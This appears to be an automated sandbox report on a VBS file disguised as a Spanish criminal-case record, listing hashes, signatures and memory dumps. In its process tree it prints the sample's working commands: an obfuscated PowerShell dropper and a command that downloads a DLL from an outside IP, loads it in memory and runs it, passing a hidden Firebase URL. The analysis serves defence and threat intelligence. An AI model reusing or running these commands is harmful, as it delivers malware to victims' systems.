Analysis

  • max time kernel
    41s
  • max time network
    44s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    01/09/2022, 17:17

General

  • Target

    Acta Referencial Del Caso Penal RDV-09939778312.vbs

  • Size

    344KB

  • MD5

    f756f1aa3b657845808b1b6dd2e417c6

  • SHA1

    d3f93f3093a7b6491890fcb816ddd4dc0b498fe0

  • SHA256

    7d7b58a161db20052b11323229ef2a0289d7bd60fa43ae054589b9d3f895cde5

  • SHA512

    d0904aff71248c4e3b3a6267b79de255d77a52f6b90578e68f769bee70d56e521fbf2f10ae7864c26be5b8dd54b6f2914885cced6ec1551a9b98dfa482d274aa

  • SSDEEP

    96:LELC6OuuvYUZelhkMtm0eW2hCugT5fqR+5Z9fAWxn42Of7bsITJYYmI1e5fKq373:TLgMmZ9YI0zwNYmtSqLyzfu

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://20.7.14.99/server/dll.txt

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Acta Referencial Del Caso Penal RDV-09939778312.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⏏⏏Bw⏏⏏Ek⏏⏏QwB3⏏⏏HY⏏⏏I⏏⏏⏏⏏9⏏⏏C⏏⏏⏏⏏Jw⏏⏏l⏏⏏G8⏏⏏YgB6⏏⏏GU⏏⏏cQB1⏏⏏Gk⏏⏏bw⏏⏏l⏏⏏Cc⏏⏏OwBb⏏⏏EI⏏⏏eQB0⏏⏏GU⏏⏏WwBd⏏⏏F0⏏⏏I⏏⏏⏏⏏k⏏⏏EQ⏏⏏T⏏⏏BM⏏⏏C⏏⏏⏏⏏PQ⏏⏏g⏏⏏Fs⏏⏏UwB5⏏⏏HM⏏⏏d⏏⏏Bl⏏⏏G0⏏⏏LgBD⏏⏏G8⏏⏏bgB2⏏⏏GU⏏⏏cgB0⏏⏏F0⏏⏏Og⏏⏏6⏏⏏EY⏏⏏cgBv⏏⏏G0⏏⏏QgBh⏏⏏HM⏏⏏ZQ⏏⏏2⏏⏏DQ⏏⏏UwB0⏏⏏HI⏏⏏aQBu⏏⏏Gc⏏⏏K⏏⏏⏏⏏o⏏⏏E4⏏⏏ZQB3⏏⏏C0⏏⏏TwBi⏏⏏Go⏏⏏ZQBj⏏⏏HQ⏏⏏I⏏⏏BO⏏⏏GU⏏⏏d⏏⏏⏏⏏u⏏⏏Fc⏏⏏ZQBi⏏⏏EM⏏⏏b⏏⏏Bp⏏⏏GU⏏⏏bgB0⏏⏏Ck⏏⏏LgBE⏏⏏G8⏏⏏dwBu⏏⏏Gw⏏⏏bwBh⏏⏏GQ⏏⏏UwB0⏏⏏HI⏏⏏aQBu⏏⏏Gc⏏⏏K⏏⏏⏏⏏n⏏⏏Gg⏏⏏d⏏⏏B0⏏⏏H⏏⏏⏏⏏Og⏏⏏v⏏⏏C8⏏⏏Mg⏏⏏w⏏⏏C4⏏⏏Nw⏏⏏u⏏⏏DE⏏⏏N⏏⏏⏏⏏u⏏⏏Dk⏏⏏OQ⏏⏏v⏏⏏HM⏏⏏ZQBy⏏⏏HY⏏⏏ZQBy⏏⏏C8⏏⏏Z⏏⏏Bs⏏⏏Gw⏏⏏LgB0⏏⏏Hg⏏⏏d⏏⏏⏏⏏n⏏⏏Ck⏏⏏KQ⏏⏏7⏏⏏Fs⏏⏏UwB5⏏⏏HM⏏⏏d⏏⏏Bl⏏⏏G0⏏⏏LgBB⏏⏏H⏏⏏⏏⏏c⏏⏏BE⏏⏏G8⏏⏏bQBh⏏⏏Gk⏏⏏bgBd⏏⏏Do⏏⏏OgBD⏏⏏HU⏏⏏cgBy⏏⏏GU⏏⏏bgB0⏏⏏EQ⏏⏏bwBt⏏⏏GE⏏⏏aQBu⏏⏏C4⏏⏏T⏏⏏Bv⏏⏏GE⏏⏏Z⏏⏏⏏⏏o⏏⏏CQ⏏⏏R⏏⏏BM⏏⏏Ew⏏⏏KQ⏏⏏u⏏⏏Ec⏏⏏ZQB0⏏⏏FQ⏏⏏eQBw⏏⏏GU⏏⏏K⏏⏏⏏⏏n⏏⏏EM⏏⏏b⏏⏏Bh⏏⏏HM⏏⏏cwBM⏏⏏Gk⏏⏏YgBy⏏⏏GE⏏⏏cgB5⏏⏏DM⏏⏏LgBD⏏⏏Gw⏏⏏YQBz⏏⏏HM⏏⏏MQ⏏⏏n⏏⏏Ck⏏⏏LgBH⏏⏏GU⏏⏏d⏏⏏BN⏏⏏GU⏏⏏d⏏⏏Bo⏏⏏G8⏏⏏Z⏏⏏⏏⏏o⏏⏏Cc⏏⏏UgB1⏏⏏G4⏏⏏Jw⏏⏏p⏏⏏C4⏏⏏SQBu⏏⏏HY⏏⏏bwBr⏏⏏GU⏏⏏K⏏⏏⏏⏏k⏏⏏G4⏏⏏dQBs⏏⏏Gw⏏⏏L⏏⏏⏏⏏g⏏⏏Fs⏏⏏bwBi⏏⏏Go⏏⏏ZQBj⏏⏏HQ⏏⏏WwBd⏏⏏F0⏏⏏I⏏⏏⏏⏏o⏏⏏Cc⏏⏏YQ⏏⏏1⏏⏏DM⏏⏏ZQBk⏏⏏GM⏏⏏NQ⏏⏏3⏏⏏DY⏏⏏YwBk⏏⏏DM⏏⏏LQ⏏⏏w⏏⏏Dc⏏⏏Z⏏⏏Bi⏏⏏C0⏏⏏NQ⏏⏏y⏏⏏Dg⏏⏏N⏏⏏⏏⏏t⏏⏏GI⏏⏏YQBk⏏⏏DQ⏏⏏LQ⏏⏏2⏏⏏DE⏏⏏O⏏⏏Bj⏏⏏DM⏏⏏Z⏏⏏⏏⏏1⏏⏏GY⏏⏏PQBu⏏⏏GU⏏⏏awBv⏏⏏HQ⏏⏏JgBh⏏⏏Gk⏏⏏Z⏏⏏Bl⏏⏏G0⏏⏏PQB0⏏⏏Gw⏏⏏YQ⏏⏏/⏏⏏HQ⏏⏏e⏏⏏B0⏏⏏C4⏏⏏YQBz⏏⏏GU⏏⏏cgBU⏏⏏GM⏏⏏dQBE⏏⏏C8⏏⏏bw⏏⏏v⏏⏏G0⏏⏏bwBj⏏⏏C4⏏⏏d⏏⏏Bv⏏⏏H⏏⏏⏏⏏cwBw⏏⏏H⏏⏏⏏⏏YQ⏏⏏u⏏⏏DI⏏⏏Ng⏏⏏w⏏⏏GQ⏏⏏O⏏⏏⏏⏏t⏏⏏HM⏏⏏ZQBu⏏⏏G8⏏⏏aQBj⏏⏏GE⏏⏏YwBp⏏⏏G4⏏⏏bwBt⏏⏏G8⏏⏏YwBl⏏⏏Gw⏏⏏ZQB0⏏⏏C8⏏⏏Yg⏏⏏v⏏⏏D⏏⏏⏏⏏dg⏏⏏v⏏⏏G0⏏⏏bwBj⏏⏏C4⏏⏏cwBp⏏⏏H⏏⏏⏏⏏YQBl⏏⏏Gw⏏⏏ZwBv⏏⏏G8⏏⏏Zw⏏⏏u⏏⏏GU⏏⏏ZwBh⏏⏏HI⏏⏏bwB0⏏⏏HM⏏⏏ZQBz⏏⏏GE⏏⏏YgBl⏏⏏HI⏏⏏aQBm⏏⏏C8⏏⏏Lw⏏⏏6⏏⏏HM⏏⏏c⏏⏏B0⏏⏏HQ⏏⏏a⏏⏏⏏⏏n⏏⏏Ck⏏⏏KQ⏏⏏=';$VXdfe = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('⏏⏏','A') ) ).replace('%obzequio%','');powershell.exe -Command $VXdfe
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1292
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$pICwv = '';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.7.14.99/server/dll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('a53edc576cd3-07db-5284-bad4-618c3d5f=nekot&aidem=tla?txt.aserTcuD/o/moc.topsppa.260d8-senoicacinomocelet/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2044

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          eae883b827f9524e63d39f2869b2dfba

          SHA1

          eac07dace6bf23514ac588037376e0f0d44d8b69

          SHA256

          b650524c1fd4f3540ff31cff877af0a4e52cafcdf106f1f90871b9a60fb9ac00

          SHA512

          223cbe4f098fe3ea03b44c93ce8e38bc5b9fc717b4ac81076fac612461cac2c0ab7fdc0e9238c0779a196e5ac4e968b9c1fee9db227e4fbbecdab113fae835f2

        • memory/112-54-0x000007FEFB5D1000-0x000007FEFB5D3000-memory.dmp

          Filesize

          8KB

        • memory/1292-64-0x000000000259B000-0x00000000025BA000-memory.dmp

          Filesize

          124KB

        • memory/1292-59-0x0000000002594000-0x0000000002597000-memory.dmp

          Filesize

          12KB

        • memory/1292-58-0x000007FEF1D90000-0x000007FEF28ED000-memory.dmp

          Filesize

          11.4MB

        • memory/1292-72-0x000000000259B000-0x00000000025BA000-memory.dmp

          Filesize

          124KB

        • memory/1292-57-0x000007FEF28F0000-0x000007FEF3313000-memory.dmp

          Filesize

          10.1MB

        • memory/1292-71-0x0000000002594000-0x0000000002597000-memory.dmp

          Filesize

          12KB

        • memory/2044-66-0x0000000002894000-0x0000000002897000-memory.dmp

          Filesize

          12KB

        • memory/2044-65-0x000007FEF1D90000-0x000007FEF28ED000-memory.dmp

          Filesize

          11.4MB

        • memory/2044-67-0x000000001B740000-0x000000001BA3F000-memory.dmp

          Filesize

          3.0MB

        • memory/2044-68-0x000000000289B000-0x00000000028BA000-memory.dmp

          Filesize

          124KB

        • memory/2044-69-0x0000000002894000-0x0000000002897000-memory.dmp

          Filesize

          12KB

        • memory/2044-70-0x000000000289B000-0x00000000028BA000-memory.dmp

          Filesize

          124KB

        • memory/2044-63-0x000007FEF28F0000-0x000007FEF3313000-memory.dmp

          Filesize

          10.1MB